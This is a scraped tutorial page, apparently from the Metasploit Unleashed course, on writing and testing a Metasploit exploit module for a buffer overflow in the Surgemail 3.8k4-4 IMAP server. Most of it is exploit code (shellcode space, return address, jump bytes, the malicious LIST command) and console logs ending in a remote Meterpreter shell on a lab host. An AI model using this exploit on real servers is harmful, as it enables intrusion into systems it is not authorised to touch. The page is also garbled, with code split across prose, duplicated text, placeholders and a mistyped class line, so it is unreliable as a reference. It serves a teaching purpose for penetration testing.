Getting a Shell a11y.text Getting a Shell Writing an Exploit Module a11y.text Writing an Exploit Module With what we have learned, we write the exploit and save it to windows/imap/surgemail_list.rb . Letâ€™s take a look at our new exploit moduleÂ below: ##

```
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'


class Metasploit3 > Msf::Exploit::Remote

    include Msf::Exploit::Remote::Imap

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the Surgemail IMAP Server
                version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
                account credentials are required.
            },
            'Author'         => [ 'ryujin' ],
```

'License' => MSF_LICENSE,

'Version' => '$Revision: 1

The most important things to notice in the previous exploit code are the following:

* We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, weâ€™ll pad the payload on our own.
* We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.
* We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.
* We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work.

Letâ€™s see if it works: msf > search surgemail

[*] Searching loaded modules for pattern â€˜surgemailâ€™â€¦ Exploits a11y.text Exploits Name

Description windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow msf > use windows/imap/surgemail_list

msf exploit(surgemail_list) > show options Module options: Name Current Setting Required

Description IMAPPASS test no The password for the specified username

IMAPUSER test no The username to authenticate as

RHOST 172.16.30.7 yes The target address

RPORT 143 yes The target port Payload options (windows/shell/bind_tcp): Name Current Setting

Required Description EXITFUNC thread yes Exit technique: seh, thread, process

LPORT 4444 yes The local port

RHOST 172.16.30.7 no The target address Exploit target: Id Name 0 Windows Universal ###

Testing our Exploit Module

Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Now we check for the server version: msf exploit(surgemail_list) > check [ ] Connecting to IMAP server 172.16.30.7:143â€¦

[ ] Connected to target IMAP server.

[+] The target is vulnerable. Yes! Now letâ€™s run the exploit attaching the debugger to the **surgemail.exe** process to see if the offset to overwrite SEH is correct: root@kali:~# msfconsole -q -x â€œuse exploit/windows/imap/surgemail_list; set PAYLOAD windows/shell/bind_tcp; set RHOST 172.16.30.7; set IMAPPWD test; set IMAPUSER test; run; exit -yâ€•

[ ] Started bind handler

[ ] Connecting to IMAP server 172.16.30.7:143â€¦

[ ] Connected to target IMAP server.

[ ] Authenticating as test with password testâ€¦

[*] Sending payload ![Testing our Exploit | Metasploit Unleashed](https://www.offsec.com/wp-content/uploads/2015/03/EXPLOIT04B.png)

Testing our Exploit | Metasploit Unleashed

The offset is correct, we can now set a breakpoint at our return address:

![Testing our Exploit, Setting a Breakpoint | Metasploit Unleashed](https://www.offsec.com/wp-content/uploads/2015/03/EXPLOIT04A.png)

Testing our Exploit, Setting a Breakpoint | Metasploit Unleashed

Now we can redirect the execution flow into our buffer executing the POP POP RET instructions:

![Following out POP POP RET Instructions | Metasploit Unleashed](https://www.offsec.com/wp-content/uploads/2015/03/EXPLOIT06.png)

Following out POP POP RET Instructions | Metasploit Unleashed

and finally execute the two jumps on the stack which will land us inside our NOP sled:

Executing our NOPSLED | Metasploit Unleashed

So far so good, time to get our Meterpreter shell, letâ€™s rerun the exploit without the debugger:

msf exploit(surgemail_list) > set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(surgemail_list) > exploit [ ] Connecting to IMAP server 172.16.30.7:143â€¦

[ ] Started bind handler

[ ] Connected to target IMAP server.

[ ] Authenticating as test with password testâ€¦

[ ] Sending payload

[ ] Transmitting intermediate stager for over-sized stageâ€¦(191 bytes)

[ ] Sending stage (2650 bytes)

[ ] Sleeping before handling stageâ€¦

[ ] Uploading DLL (75787 bytes)â€¦

[ ] Upload completed.

[*] Meterpreter session 1 opened (172.16.30.34:63937 -> 172.16.30.7:4444) meterpreter > execute -f cmd.exe -c -i

Process 672 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp. c:\surgemail> Success! We have Fuzzed a vulnerable server and built a custom Exploit Module using the amazing features offered by Metasploit.,

```
        'References'     =>
          [
            [ 'BID', '28260' ],
            [ 'CVE', '2008-1498' ],
            [ 'URL', 'http://www.milw0rm.com/exploits/5259' ],
          ],
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread',
          },
        'Payload'        =>
          {
            'Space'       => 10351,
            'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
            'DisableNops' => true,
            'BadChars'    => "\x00"
          },
        'Platform'       => 'win',
```

```
        'Targets'        =>
            [
                [ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e
            ],
        'DisclosureDate' => 'March 13 2008',
        'DefaultTarget' => 0))
end

def check
    connect
    disconnect
    if (banner and banner =~ /(Version 3.8k4-4)/)
        return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
end

def exploit
    connected = connect_login
    nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops()
    sjump = "\xEB\xF9\x90\x90"     # Jmp Back
    njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby  ;)
    evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")
    print_status("Sending payload")
    sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
    sock.put(sploit)
```

```
        handler
        disconnect
    end
```

end The most important things to notice in the previous exploit code are the following: We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, weâ€™ll pad the payload on our own. We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol. We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable. We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work. Letâ€™s see if it works: urltomarkdowncodeblockplaceholder10.8759014588609886 Testing our Exploit Module a11y.text Testing our Exploit Module Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Now we check for the server version: urltomarkdowncodeblockplaceholder20.771893917775859 Yes! Now letâ€™s run the exploit attaching the debugger to the surgemail.exe process to see if the offset to overwrite SEH is correct: urltomarkdowncodeblockplaceholder30.7421977052608555 Testing our Exploit | Metasploit Unleashed The offset is correct, we can now set a breakpoint at our return address: Testing our Exploit, Setting a Breakpoint | Metasploit Unleashed Now we can redirect the execution flow into our buffer executing the POP POP RET instructions: Following out POP POP RET Instructions | Metasploit Unleashed and finally execute the two jumps on the stack which will land us inside our NOP sled: Executing our NOPSLED | Metasploit Unleashed So far so good, time to get our Meterpreter shell, letâ€™s rerun the exploit without the debugger: urltomarkdowncodeblockplaceholder40.6731750777970795 Success! We have Fuzzed a vulnerable server and built a custom Exploit Module using the amazing features offered by Metasploit. Next Using the Egghunter Mixin Prev Writing an Exploit